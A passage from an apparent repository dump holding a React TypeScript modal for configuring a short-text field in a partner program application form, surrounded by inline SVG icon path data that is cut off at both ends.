34.4545C59.0491 34.8258 59.1055 35.1461 59.2182 35.4157C59.3309 35.6853 59.4899 35.8941 59.6954 36.0421C59.9031 36.1902 60.1473 36.2642 60.4279 36.2642C60.6157 36.2642 60.7859 36.23 60.9383 36.1615C61.093 36.0908 61.2223 35.9902 61.3261 35.8598C61.4322 35.7295 61.5062 35.5726 61.5482 35.3892H62.5127C62.4773 35.7184 62.3701 36.0123 62.1912 36.2708C62.0122 36.5294 61.7725 36.7326 61.4719 36.8807C61.1737 37.0287 60.8234 37.1027 60.4213 37.1027ZM65.054 37.1127C64.7314 37.1127 64.4397 37.053 64.179 36.9337C63.9182 36.8122 63.7117 36.6365 63.5592 36.4067C63.4089 36.1769 63.3338 35.8952 63.3338 35.5616C63.3338 35.2743 63.3891 35.0379 63.4995 34.8523C63.61 34.6667 63.7592 34.5197 63.947 34.4115C64.1348 34.3032 64.3447 34.2214 64.5767 34.1662C64.8087 34.111 65.0451 34.069 65.286 34.0402C65.5909 34.0049 65.8384 33.9762 66.0284 33.9541C66.2184 33.9298 66.3565 33.8911 66.4427 33.8381C66.5289 33.785 66.572 33.6989 66.572 33.5795V33.5563C66.572 33.2669 66.4902 33.0426 66.3267 32.8835C66.1654 32.7244 65.9246 32.6449 65.6042 32.6449C65.2705 32.6449 65.0076 32.7189 64.8153 32.867C64.6253 33.0128 64.4938 33.1752 64.4209 33.3542L63.4896 33.142C63.6001 32.8327 63.7614 32.583 63.9735 32.393C64.1878 32.2008 64.4342 32.0616 64.7126 31.9754C64.991 31.887 65.2838 31.8428 65.5909 31.8428C65.7942 31.8428 66.0096 31.8671 66.2372 31.9157C66.467 31.9621 66.6813 32.0483 66.8802 32.1742C67.0813 32.3002 67.2459 32.4803 67.3741 32.7145C67.5022 32.9465 67.5663 33.2481 67.5663 33.6193V37H66.5985V36.304H66.5587C66.4946 36.4321 66.3985 36.5581 66.2704 36.6818C66.1422 36.8056 65.9776 36.9083 65.7765 36.9901C65.5754 37.0718 65.3346 37.1127 65.054 37.1127ZM65.2694 36.3172C65.5434 36.3172 65.7776 36.2631 65.9721 36.1548C66.1687 36.0466 66.3179 35.9051 66.4195 35.7306C66.5234 35.5538 66.5753 35.3649 66.5753 35.1638V34.5076C66.5399 34.5429 66.4714 34.5761 66.3698 34.607C66.2704 34.6357 66.1566 34.6611 66.0284 34.6832C65.9003 34.7031 65.7754 34.7219 65.6539 34.7396C65.5324 34.7551 65.4307 34.7683 65.349 34.7794C65.1567 34.8037 64.9811 34.8445 64.822 34.902C64.6651 34.9594 64.5391 35.0423 64.4441 35.1506C64.3513 35.2566 64.3049 35.398 64.3049 35.5748C64.3049 35.8201 64.3955 36.0057 64.5767 36.1316C64.7579 36.2554 64.9888 36.3172 65.2694 36.3172ZM71.2627 31.9091V32.7045H68.4819V31.9091H71.2627ZM69.2276 30.6894H70.2186V35.5052C70.2186 35.6974 70.2474 35.8422 70.3048 35.9394C70.3623 36.0344 70.4363 36.0996 70.5269 36.1349C70.6197 36.1681 70.7202 36.1847 70.8285 36.1847C70.908 36.1847 70.9776 36.1791 71.0373 36.1681C71.0969 36.157 71.1434 36.1482 71.1765 36.1416L71.3555 36.9602C71.298 36.9823 71.2163 37.0044 71.1102 37.0265C71.0041 37.0508 70.8716 37.0641 70.7125 37.0663C70.4517 37.0707 70.2087 37.0243 69.9833 36.9271C69.7579 36.8299 69.5756 36.6796 69.4364 36.4763C69.2972 36.273 69.2276 36.0178 69.2276 35.7107V30.6894Z\"\n        fill=\"#262626\"\n      />\n      <path\n        d=\"M28.4004 45.6663H139.6C140.725 45.6663 141.55 45.6668 142.2 45.72C142.847 45.7728 143.292 45.8766 143.665 46.0667C144.355 46.4181 144.915 46.9787 145.267 47.6682C145.457 48.0412 145.56 48.4867 145.613 49.1331C145.666 49.7833 145.667 50.608 145.667 51.7336V65.5999C145.667 66.7255 145.666 67.5502 145.613 68.2004C145.56 68.8466 145.457 69.2914 145.267 69.6643C144.915 70.3541 144.355 70.9153 143.665 71.2668C143.292 71.4569 142.847 71.5607 142.2 71.6135C141.55 71.6667 140.725 71.6663 139.6 71.6663H28.4004C27.2748 71.6663 26.4501 71.6667 25.7998 71.6135C25.1535 71.5607 24.7079 71.4569 24.335 71.2668C23.6452 70.9153 23.0849 70.3541 22.7334 69.6643C22.5434 69.2914 22.4395 68.8466 22.3867 68.2004C22.3336 67.5502 22.333 66.7255 22.333 65.5999V51.7336C22.333 50.608 22.3336 49.7833 22.3867 49.1331C22.4395 48.4867 22.5434 48.0412 22.7334 47.6682C23.0849 46.9787 23.6454 46.4181 24.335 46.0667C24.7079 45.8766 25.1535 45.7728 25.7998 45.72C26.4501 45.6668 27.2748 45.6663 28.4004 45.6663Z\"\n        fill=\"white\"\n      />\n      <path\n        d=\"M28.4004 45.6663H139.6C140.725 45.6663 141.55 45.6668 142.2 45.72C142.847 45.7728 143.292 45.8766 143.665 46.0667C144.355 46.4181 144.915 46.9787 145.267 47.6682C145.457 48.0412 145.56 48.4867 145.613 49.1331C145.666 49.7833 145.667 50.608 145.667 51.7336V65.5999C145.667 66.7255 145.666 67.5502 145.613 68.2004C145.56 68.8466 145.457 69.2914 145.267 69.6643C144.915 70.3541 144.355 70.9153 143.665 71.2668C143.292 71.4569 142.847 71.5607 142.2 71.6135C141.55 71.6667 140.725 71.6663 139.6 71.6663H28.4004C27.2748 71.6663 26.4501 71.6667 25.7998 71.6135C25.1535 71.5607 24.7079 71.4569 24.335 71.2668C23.6452 70.9153 23.0849 70.3541 22.7334 69.6643C22.5434 69.2914 22.4395 68.8466 22.3867 68.2004C22.3336 67.5502 22.333 66.7255 22.333 65.5999V51.7336C22.333 50.608 22.3336 49.7833 22.3867 49.1331C22.4395 48.4867 22.5434 48.0412 22.7334 47.6682C23.0849 46.9787 23.6454 46.4181 24.335 46.0667C24.7079 45.8766 25.1535 45.7728 25.7998 45.72C26.4501 45.6668 27.2748 45.6663 28.4004 45.6663Z\"\n        stroke=\"#D4D4D4\"\n        strokeWidth=\"0.666667\"\n      />\n      <path\n        d=\"M34.5341 56.5756C34.4943 56.2397 34.333 55.979 34.0502 55.7934C33.7674 55.6078 33.4205 55.515 33.0095 55.515C32.709 55.515 32.446 55.5636 32.2206 55.6608C31.9975 55.758 31.8229 55.8917 31.697 56.0619C31.5732 56.232 31.5114 56.4253 31.5114 56.6419C31.5114 56.8231 31.5545 56.9788 31.6406 57.1092C31.729 57.2374 31.8417 57.3445 31.9787 57.4307C32.1157 57.5147 32.2593 57.5843 32.4096 57.6395C32.5598 57.6925 32.6979 57.7356 32.8239 57.7688L33.5133 57.9544C33.69 58.0008 33.8867 58.0649 34.1032 58.1466C34.322 58.2284 34.5308 58.34 34.7296 58.4814C34.9307 58.6206 35.0964 58.7996 35.2268 59.0183C35.3572 59.2371 35.4223 59.5055 35.4223 59.8237C35.4223 60.1905 35.3262 60.5219 35.134 60.818C34.944 61.1141 34.6656 61.3494 34.2988 61.524C33.9342 61.6985 33.4912 61.7858 32.9697 61.7858C32.4836 61.7858 32.0627 61.7074 31.7069 61.5505C31.3534 61.3936 31.075 61.1749 30.8717 60.8943C30.6706 60.6136 30.5568 60.2877 30.5303 59.9165H31.3788C31.4009 60.1728 31.4871 60.3849 31.6373 60.5529C31.7898 60.7186 31.982 60.8423 32.214 60.9241C32.4482 61.0036 32.7001 61.0434 32.9697 61.0434C33.2835 61.0434 33.5652 60.9926 33.8149 60.8909C34.0646 60.7871 34.2623 60.6435 34.4081 60.4601C34.554 60.2745 34.6269 60.0579 34.6269 59.8104C34.6269 59.5851 34.5639 59.4017 34.438 59.2603C34.312 59.1188 34.1463 59.0039 33.9408 58.9156C33.7353 58.8272 33.5133 58.7498 33.2746 58.6835L32.4394 58.4449C31.9091 58.2925 31.4893 58.0748 31.1799 57.792C30.8706 57.5091 30.7159 57.139 30.7159 56.6817C30.7159 56.3016 30.8187 55.9702 31.0241 55.6873C31.2318 55.4023 31.5103 55.1813 31.8594 55.0245C32.2107 54.8654 32.6029 54.7858 33.036 54.7858C33.4735 54.7858 33.8624 54.8643 34.2027 55.0211C34.5429 55.1758 34.8125 55.3879 35.0114 55.6575C35.2124 55.9271 35.3185 56.2331 35.3295 56.5756H34.5341ZM38.8022 61.7726C38.3117 61.7726 37.8885 61.6643 37.5328 61.4478C37.1793 61.229 36.9064 60.9241 36.7141 60.533C36.5241 60.1397 36.4291 59.6823 36.4291 59.1608C36.4291 58.6394 36.5241 58.1798 36.7141 57.782C36.9064 57.3821 37.1737 57.0705 37.5162 56.8474C37.8609 56.622 38.2631 56.5093 38.7227 56.5093C38.9878 56.5093 39.2496 56.5535 39.5082 56.6419C39.7667 56.7303 40.002 56.8739 40.2141 57.0728C40.4263 57.2694 40.5953 57.5301 40.7212 57.855C40.8472 58.1798 40.9102 58.5797 40.9102 59.0548V59.3862H36.9859V58.7101H40.1147C40.1147 58.4228 40.0573 58.1665 39.9424 57.9411C39.8297 57.7157 39.6684 57.5379 39.4585 57.4075C39.2508 57.2771 39.0055 57.212 38.7227 57.212C38.4111 57.212 38.1415 57.2893 37.9139 57.444C37.6886 57.5964 37.5151 57.7953 37.3936 58.0406C37.2721 58.2858 37.2113 58.5488 37.2113 58.8294V59.2801C37.2113 59.6646 37.2776 59.9905 37.4102 60.2579C37.5449 60.523 37.7317 60.7252 37.9703 60.8644C38.2089 61.0014 38.4862 61.0699 38.8022 61.0699C39.0077 61.0699 39.1933 61.0412 39.359 60.9837C39.5269 60.9241 39.6717 60.8357 39.7932 60.7186C39.9147 60.5993 40.0086 60.4512 40.0749 60.2745L40.8306 60.4866C40.7511 60.7429 40.6174 60.9683 40.4296 61.1627C40.2418 61.355 40.0097 61.5052 39.7335 61.6135C39.4573 61.7195 39.1469 61.7726 38.8022 61.7726ZM42.8822 54.8786V61.6665H42.1V54.8786H42.8822ZM46.4493 61.7726C45.9588 61.7726 45.5357 61.6643 45.1799 61.4478C44.8264 61.229 44.5535 60.9241 44.3613 60.533C44.1712 60.1397 44.0762 59.6823 44.0762 59.1608C44.0762 58.6394 44.1712 58.1798 44.3613 57.782C44.5535 57.3821 44.8209 57.0705 45.1634 56.8474C45.5081 56.622 45.9102 56.5093 46.3698 56.5093C46.6349 56.5093 46.8968 56.5535 47.1553 56.6419C47.4138 56.7303 47.6491 56.8739 47.8613 57.0728C48.0734 57.2694 48.2424 57.5301 48.3684 57.855C48.4943 58.1798 48.5573 58.5797 48.5573 59.0548V59.3862H44.6331V58.7101H47.7618C47.7618 58.4228 47.7044 58.1665 47.5895 57.9411C47.4768 57.7157 47.3155 57.5379 47.1056 57.4075C46.8979 57.2771 46.6526 57.212 46.3698 57.212C46.0582 57.212 45.7887 57.2893 45.5611 57.444C45.3357 57.5964 45.1622 57.7953 45.0407 58.0406C44.9192 58.2858 44.8584 58.5488 44.8584 58.8294V59.2801C44.8584 59.6646 44.9247 59.9905 45.0573 60.2579C45.1921 60.523 45.3788 60.7252 45.6174 60.8644C45.8561 61.0014 46.1334 61.0699 46.4493 61.0699C46.6548 61.0699 46.8404 61.0412 47.0062 60.9837C47.1741 60.9241 47.3188 60.8357 47.4403 60.7186C47.5619 60.5993 47.6558 60.4512 47.7221 60.2745L48.4777 60.4866C48.3982 60.7429 48.2645 60.9683 48.0767 61.1627C47.8889 61.355 47.6569 61.5052 47.3807 61.6135C47.1045 61.7195 46.794 61.7726 46.4493 61.7726ZM51.8153 61.7726C51.3381 61.7726 50.9271 61.6599 50.5824 61.4345C50.2377 61.2091 49.9725 60.8987 49.7869 60.5032C49.6013 60.1076 49.5085 59.6558 49.5085 59.1476C49.5085 58.6305 49.6035 58.1742 49.7936 57.7787C49.9858 57.381 50.2532 57.0705 50.5956 56.8474C50.9403 56.622 51.3425 56.5093 51.8021 56.5093C52.16 56.5093 52.4826 56.5756 52.7699 56.7082C53.0571 56.8407 53.2925 57.0264 53.4759 57.265C53.6593 57.5036 53.773 57.782 53.8172 58.1002H53.035C52.9754 57.8682 52.8428 57.6627 52.6373 57.4837C52.434 57.3026 52.16 57.212 51.8153 57.212C51.5104 57.212 51.2431 57.2915 51.0133 57.4506C50.7857 57.6075 50.6078 57.8295 50.4796 58.1168C50.3537 58.4018 50.2907 58.7366 50.2907 59.121C50.2907 59.5144 50.3526 59.8568 50.4763 60.1485C50.6023 60.4402 50.779 60.6667 51.0066 60.828C51.2364 60.9893 51.506 61.0699 51.8153 61.0699C52.0186 61.0699 52.2031 61.0346 52.3688 60.9639C52.5346 60.8931 52.6749 60.7915 52.7898 60.6589C52.9047 60.5264 52.9864 60.3673 53.035 60.1817H53.8172C53.773 60.4822 53.6637 60.7528 53.4891 60.9937C53.3168 61.2323 53.0881 61.4223 52.803 61.5638C52.5202 61.703 52.191 61.7726 51.8153 61.7726ZM57.1747 56.5756V57.2385H54.5365V56.5756H57.1747ZM55.3054 55.3559H56.0876V60.2082C56.0876 60.4291 56.1196 60.5948 56.1837 60.7053C56.25 60.8136 56.334 60.8865 56.4356 60.9241C56.5395 60.9594 56.6488 60.9771 56.7637 60.9771C56.8499 60.9771 56.9206 60.9727 56.9759 60.9639C57.0311 60.9528 57.0753 60.944 57.1084 60.9373L57.2675 61.64C57.2145 61.6599 57.1405 61.6798 57.0455 61.6996C56.9504 61.7217 56.83 61.7328 56.6842 61.7328C56.4632 61.7328 56.2467 61.6853 56.0346 61.5903C55.8247 61.4953 55.6501 61.3505 55.5109 61.1561C55.3739 60.9616 55.3054 60.7164 55.3054 60.4203V55.3559Z\"\n        fill=\"#A1A1A1\"\n      />\n      <path\n        d=\"M134.944 57.1395L132.999 55.1951L131.055 57.1395\"\n        stroke=\"#A1A1A1\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M134.944 60.1951L132.999 62.1395L131.055 60.1951\"\n        stroke=\"#A1A1A1\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/application-form/modals/short-text-field-modal.tsx",
    "content": "\"use client\";\n\nimport { programApplicationFormShortTextFieldSchema } from \"@/lib/zod/schemas/program-application-form\";\nimport { Button, Modal, Switch, useMediaQuery } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { motion } from \"motion/react\";\nimport { Dispatch, SetStateAction, useId } from \"react\";\nimport { Controller, useForm } from \"react-hook-form\";\nimport { v4 as uuid } from \"uuid\";\nimport * as z from \"zod/v4\";\n\nconst MIN_LENGTH = 1;\nconst MAX_LENGTH = 1000;\nconst DEFAULT_MAX_LENGTH = 25;\n\ntype ShortTextFieldData = z.infer<\n  typeof programApplicationFormShortTextFieldSchema\n>;\n\ntype ShortTextFieldModalProps = {\n  showModal: boolean;\n  setShowModal: Dispatch<SetStateAction<boolean>>;\n  defaultValues?: Partial<ShortTextFieldData>;\n  onSubmit: (data: ShortTextFieldData) => void;\n};\n\nexport function ShortTextFieldModal(props: ShortTextFieldModalProps) {\n  return (\n    <Modal showModal={props.showModal} setShowModal={props.setShowModal}>\n      <ShortTextFieldModalInner {...props} />\n    </Modal>\n  );\n}\n\ntype FormData = Omit<ShortTextFieldData, \"data\"> & {\n  data: ShortTextFieldData[\"data\"] & {\n    maxLengthEnabled: boolean;\n  };\n};\n\nconst shortTextFieldDataFromFormData = (\n  formData: FormData,\n): ShortTextFieldData => {\n  const { data, ...rest } = formData;\n  const { maxLength, maxLengthEnabled, ...dataRest } = data;\n  return {\n    ...rest,\n    data: {\n      ...dataRest,\n      maxLength: data.maxLengthEnabled ? data.maxLength : undefined,\n    },\n  };\n};\n\nconst formDataForShortTextFieldData = (\n  shortTextFieldData?: Partial<ShortTextFieldData>,\n): FormData => {\n  const maxLength = shortTextFieldData?.data?.maxLength;\n  const hasMaxLength = typeof maxLength === \"number\";\n  return {\n    id: shortTextFieldData?.id ?? uuid(),\n    type: shortTextFieldData?.type ?? \"short-text\",\n    label: shortTextFieldData?.label ?? \"\",\n    required: shortTextFieldData?.required ?? false,\n    data: {\n      placeholder: shortTextFieldData?.data?.placeholder ?? \"\",\n      maxLengthEnabled: hasMaxLength,\n      maxLength: hasMaxLength ? maxLength : DEFAULT_MAX_LENGTH,\n    },\n  };\n};\n\nfunction ShortTextFieldModalInner({\n  setShowModal,\n  onSubmit,\n  defaultValues,\n}: ShortTextFieldModalProps) {\n  const id = useId();\n  const { isMobile } = useMediaQuery();\n  const {\n    control,\n    handleSubmit,\n    register,\n    formState: { errors },\n    watch,\n  } = useForm<FormData>({\n    defaultValues: formDataForShortTextFieldData(defaultValues),\n  });\n\n  const maxLengthEnabled = watch(\"data.maxLengthEnabled\");\n\n  return (\n    <>\n      <div className=\"p-4 pt-3\">\n        <h3 className=\"text-base font-semibold leading-6 text-neutral-800\">\n          {defaultValues ? \"Edit\" : \"Add\"} short text\n        </h3>\n        <form\n          className=\"mt-4 flex flex-col gap-6\"\n          onSubmit={(e) => {\n            e.stopPropagation();\n            handleSubmit(async (data) => {\n              setShowModal(false);\n              onSubmit(shortTextFieldDataFromFormData(data));\n            })(e);\n          }}\n        >\n          {/* Label */}\n          <div>\n            <label\n              htmlFor={`${id}-label`}\n              className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n            >\n              Input label\n            </label>\n            <div className=\"mt-2 rounded-md shadow-sm\">\n              <input\n                id={`${id}-title`}\n                type=\"text\"\n                placeholder=\"\"\n                autoFocus={!isMobile}\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  !!errors.label &&\n                    \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                )}\n                {...register(\"label\", { required: true })}\n              />\n            </div>\n          </div>\n\n          {/* Placeholder */}\n          <div>\n            <label\n              htmlFor={`${id}-placeholder`}\n              className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n            >\n              Input placeholder\n            </label>\n            <div className=\"mt-2 rounded-md shadow-sm\">\n              <input\n                id={`${id}-placeholder`}\n                type=\"text\"\n                placeholder=\"\"\n                autoFocus={!isMobile}\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  !!errors.data?.placeholder &&\n                    \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                )}\n                {...register(\"data.placeholder\")}\n              />\n            </div>\n          </div>\n\n          {/* Required */}\n          <div>\n            <Controller\n              name=\"required\"\n              control={control}\n              render={({ field }) => (\n                <label\n                  className=\"flex items-center justify-between gap-1.5\"\n                  htmlFor={`${id}-required`}\n                >\n                  <span className=\"text-sm font-medium text-neutral-700\">\n                    Required\n                  </span>\n                  <Switch\n                    id={`${id}-required`}\n                    checked={field.value}\n                    fn={field.onChange}\n                    trackDimensions=\"radix-state-checked:bg-black focus-visible:ring-black/20 w-7 h-4\"\n                    thumbDimensions=\"size-3\"\n                    thumbTranslate=\"translate-x-3\"\n                  />\n                </label>\n              )}\n            />\n          </div>\n\n          {/* Max characters */}\n          <div className=\"flex flex-col gap-2\">\n            <Controller\n              name=\"data.maxLengthEnabled\"\n              control={control}\n              render={({ field }) => {\n                return (\n                  <label\n                    className=\"flex items-center justify-between gap-1.5\"\n                    htmlFor={`${id}-max-length-enabled`}\n                  >\n                    <span className=\"text-sm font-medium text-neutral-700\">\n                      Max characters\n                    </span>\n                    <Switch\n                      id={`${id}-max-length-enabled`}\n                      checked={field.value}\n                      fn={field.onChange}\n                      trackDimensions=\"radix-state-checked:bg-black focus-visible:ring-black/20 w-7 h-4\"\n                      thumbDimensions=\"size-3\"\n                      thumbTranslate=\"translate-x-3\"\n                    />\n                  </label>\n                );\n              }}\n            />\n\n            <motion.div\n              animate={{\n                height: maxLengthEnabled ? \"auto\" : 0,\n                overflow: \"hidden\",\n              }}\n              transition={{\n                duration: 0.15,\n              }}\n              initial={maxLengthEnabled}\n              className=\"-m-1\"\n            >\n              <div className=\"p-1\">\n                <input\n                  id={`${id}-max-length`}\n                  type=\"number\"\n                  placeholder=\"\"\n                  {...(maxLengthEnabled\n                    ? register(\"data.maxLength\", {\n                        min: {\n                          value: MIN_LENGTH,\n                          message: `Please enter a number between ${MIN_LENGTH} and ${MAX_LENGTH}`,\n                        },\n                        max: {\n                          value: MAX_LENGTH,\n                          message: `Please enter a number between ${MIN_LENGTH} and ${MAX_LENGTH}`,\n                        },\n                        valueAsNumber: true,\n                      })\n                    : {})}\n                  autoFocus={!isMobile}\n                  className={cn(\n                    \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                    !!errors.data?.maxLength &&\n                      \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                  )}\n                />\n              </div>\n\n              {errors.data?.maxLength?.message && (\n                <div className={cn(\"ml-1 mt-1 text-xs text-red-500\")}>\n                  {errors.data?.maxLength.message}\n                </div>\n              )}\n            </motion.div>\n          </div>\n\n          <div className=\"flex items-center justify-end gap-2\">\n            <Button\n              onClick={() => setShowModal(false)}\n              variant=\"secondary\"\n              text=\"Cancel\"\n              className=\"h-8 w-fit px-3\"\n            />\n            <Button\n              type=\"submit\"\n              variant=\"primary\"\n              text={defaultValues ? \"Update\" : \"Add\"}\n              className=\"h-8 w-fit px-3\"\n            />\n          </div>\n        </form>\n      </div>\n    </>\n  );\n}\n\nexport function ShortTextFieldThumbnail() {\n  return (\n    <svg\n      width=\"168\"\n      height=\"100\"\n      viewBox=\"0 0 168 100\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className=\"h-auto w-full\"\n    >\n      <path\n        d=\"M47.1449 55V45.5455H48.2898V49.7557H53.331V45.5455H54.4759V55H53.331V50.7713H48.2898V55H47.1449ZM59.5932 55.1477C58.91 55.1477 58.3206 54.9969 57.8251 54.6953C57.3327 54.3906 56.9526 53.9659 56.6848 53.4212C56.4202 52.8733 56.2878 52.2363 56.2878 51.5099C56.2878 50.7836 56.4202 50.1435 56.6848 49.5895C56.9526 49.0324 57.325 48.5985 57.802 48.2876C58.2821 47.9737 58.8423 47.8168 59.4824 47.8168C59.8517 47.8168 60.2164 47.8783 60.5765 48.0014C60.9366 48.1245 61.2644 48.3246 61.5598 48.6016C61.8553 48.8755 62.0907 49.2386 62.2662 49.6911C62.4416 50.1435 62.5293 50.7005 62.5293 51.3622V51.8239H57.0634V50.8821H61.4213C61.4213 50.482 61.3413 50.125 61.1813 49.8111C61.0243 49.4972 60.7997 49.2494 60.5073 49.0678C60.218 48.8862 59.8764 48.7955 59.4824 48.7955C59.0485 48.7955 58.673 48.9032 58.356 49.1186C58.0421 49.331 57.8005 49.608 57.6312 49.9496C57.4619 50.2912 57.3773 50.6574 57.3773 51.0483V51.6761C57.3773 52.2116 57.4696 52.6656 57.6543 53.038C57.842 53.4073 58.1021 53.6889 58.4345 53.8828C58.7669 54.0736 59.1531 54.169 59.5932 54.169C59.8794 54.169 60.138 54.129 60.3688 54.049C60.6027 53.9659 60.8043 53.8428 60.9735 53.6797C61.1428 53.5135 61.2736 53.3073 61.3659 53.0611L62.4185 53.3565C62.3077 53.7135 62.1215 54.0275 61.8599 54.2983C61.5983 54.5661 61.2752 54.7753 60.8904 54.9261C60.5057 55.0739 60.0733 55.1477 59.5932 55.1477ZM65.2761 45.5455V55H64.1866V45.5455H65.2761ZM68.3611 45.5455V55H67.2716V45.5455H68.3611ZM73.2372 55.1477C72.5971 55.1477 72.0354 54.9954 71.5522 54.6907C71.0721 54.386 70.6966 53.9598 70.4258 53.4119C70.158 52.8641 70.0241 52.224 70.0241 51.4915C70.0241 50.7528 70.158 50.1081 70.4258 49.5572C70.6966 49.0063 71.0721 48.5785 71.5522 48.2738C72.0354 47.9691 72.5971 47.8168 73.2372 47.8168C73.8774 47.8168 74.4375 47.9691 74.9176 48.2738C75.4008 48.5785 75.7763 49.0063 76.044 49.5572C76.3149 50.1081 76.4503 50.7528 76.4503 51.4915C76.4503 52.224 76.3149 52.8641 76.044 53.4119C75.7763 53.9598 75.4008 54.386 74.9176 54.6907C74.4375 54.9954 73.8774 55.1477 73.2372 55.1477ZM73.2372 54.169C73.7235 54.169 74.1236 54.0444 74.4375 53.7951C74.7514 53.5458 74.9838 53.218 75.1346 52.8118C75.2854 52.4055 75.3608 51.9654 75.3608 51.4915C75.3608 51.0175 75.2854 50.5759 75.1346 50.1665C74.9838 49.7572 74.7514 49.4264 74.4375 49.174C74.1236 48.9216 73.7235 48.7955 73.2372 48.7955C72.7509 48.7955 72.3509 48.9216 72.0369 49.174C71.723 49.4264 71.4906 49.7572 71.3398 50.1665C71.189 50.5759 71.1136 51.0175 71.1136 51.4915C71.1136 51.9654 71.189 52.4055 71.3398 52.8118C71.4906 53.218 71.723 53.5458 72.0369 53.7951C72.3509 54.0444 72.7509 54.169 73.2372 54.169ZM84.8534 47.9091V48.8324H81.1787V47.9091H84.8534ZM82.2497 46.2102H83.3392V52.9688C83.3392 53.2765 83.3838 53.5073 83.4731 53.6612C83.5654 53.812 83.6824 53.9136 83.824 53.9659C83.9686 54.0152 84.1209 54.0398 84.281 54.0398C84.401 54.0398 84.4995 54.0336 84.5764 54.0213C84.6534 54.0059 84.7149 53.9936 84.7611 53.9844L84.9827 54.9631C84.9088 54.9908 84.8057 55.0185 84.6734 55.0462C84.541 55.0769 84.3733 55.0923 84.1702 55.0923C83.8624 55.0923 83.5608 55.0262 83.2654 54.8938C82.973 54.7615 82.7298 54.5599 82.536 54.2891C82.3451 54.0182 82.2497 53.6766 82.2497 53.2642V46.2102ZM87.7341 50.7344V55H86.6446V45.5455H87.7341V49.017H87.8264C87.9926 48.6508 88.2419 48.36 88.5743 48.1445C88.9098 47.926 89.356 47.8168 89.9131 47.8168C90.3963 47.8168 90.8195 47.9137 91.1826 48.1076C91.5458 48.2984 91.8274 48.5923 92.0274 48.9893C92.2306 49.3833 92.3321 49.8849 92.3321 50.4943V55H91.2426V50.5682C91.2426 50.005 91.0964 49.5695 90.8041 49.2617C90.5148 48.9509 90.1131 48.7955 89.5992 48.7955C89.2422 48.7955 88.9221 48.8709 88.6389 49.0217C88.3589 49.1725 88.1373 49.3925 87.9742 49.6818C87.8141 49.9711 87.7341 50.322 87.7341 50.7344ZM97.2983 55.1477C96.6151 55.1477 96.0257 54.9969 95.5302 54.6953C95.0378 54.3906 94.6577 53.9659 94.3899 53.4212C94.1252 52.8733 93.9929 52.2363 93.9929 51.5099C93.9929 50.7836 94.1252 50.1435 94.3899 49.5895C94.6577 49.0324 95.0301 48.5985 95.5071 48.2876C95.9872 47.9737 96.5473 47.8168 97.1875 47.8168C97.5568 47.8168 97.9215 47.8783 98.2816 48.0014C98.6417 48.1245 98.9695 48.3246 99.2649 48.6016C99.5604 48.8755 99.7958 49.2386 99.9712 49.6911C100.147 50.1435 100.234 50.7005 100.234 51.3622V51.8239H94.7685V50.8821H99.1264C99.1264 50.482 99.0464 50.125 98.8864 49.8111C98.7294 49.4972 98.5047 49.2494 98.2124 49.0678C97.9231 48.8862 97.5814 48.7955 97.1875 48.7955C96.7536 48.7955 96.3781 48.9032 96.0611 49.1186C95.7472 49.331 95.5056 49.608 95.3363 49.9496C95.167 50.2912 95.0824 50.6574 95.0824 51.0483V51.6761C95.0824 52.2116 95.1747 52.6656 95.3594 53.038C95.5471 53.4073 95.8072 53.6889 96.1396 53.8828C96.4719 54.0736 96.8582 54.169 97.2983 54.169C97.5845 54.169 97.843 54.129 98.0739 54.049C98.3078 53.9659 98.5094 53.8428 98.6786 53.6797C98.8479 53.5135 98.9787 53.3073 99.071 53.0611L100.124 53.3565C100.013 53.7135 99.8266 54.0275 99.565 54.2983C99.3034 54.5661 98.9802 54.7753 98.5955 54.9261C98.2108 55.0739 97.7784 55.1477 97.2983 55.1477ZM101.892 55V47.9091H102.944V48.9801H103.018C103.147 48.6293 103.381 48.3446 103.72 48.1261C104.058 47.9076 104.44 47.7983 104.865 47.7983C104.945 47.7983 105.045 47.7998 105.165 47.8029C105.285 47.806 105.376 47.8106 105.437 47.8168V48.9247C105.4 48.9155 105.316 48.9016 105.183 48.8832C105.054 48.8616 104.917 48.8509 104.772 48.8509C104.428 48.8509 104.12 48.9232 103.849 49.0678C103.581 49.2094 103.369 49.4064 103.212 49.6587C103.058 49.908 102.981 50.1927 102.981 50.5128V55H101.892ZM109.486 55.1477C108.803 55.1477 108.213 54.9969 107.718 54.6953C107.225 54.3906 106.845 53.9659 106.577 53.4212C106.313 52.8733 106.18 52.2363 106.18 51.5099C106.18 50.7836 106.313 50.1435 106.577 49.5895C106.845 49.0324 107.218 48.5985 107.695 48.2876C108.175 47.9737 108.735 47.8168 109.375 47.8168C109.744 47.8168 110.109 47.8783 110.469 48.0014C110.829 48.1245 111.157 48.3246 111.452 48.6016C111.748 48.8755 111.983 49.2386 112.159 49.6911C112.334 50.1435 112.422 50.7005 112.422 51.3622V51.8239H106.956V50.8821H111.314C111.314 50.482 111.234 50.125 111.074 49.8111C110.917 49.4972 110.692 49.2494 110.4 49.0678C110.111 48.8862 109.769 48.7955 109.375 48.7955C108.941 48.7955 108.566 48.9032 108.249 49.1186C107.935 49.331 107.693 49.608 107.524 49.9496C107.355 50.2912 107.27 50.6574 107.27 51.0483V51.6761C107.27 52.2116 107.362 52.6656 107.547 53.038C107.735 53.4073 107.995 53.6889 108.327 53.8828C108.659 54.0736 109.046 54.169 109.486 54.169C109.772 54.169 110.031 54.129 110.261 54.049C110.495 53.9659 110.697 53.8428 110.866 53.6797C111.035 53.5135 111.166 53.3073 111.259 53.0611L112.311 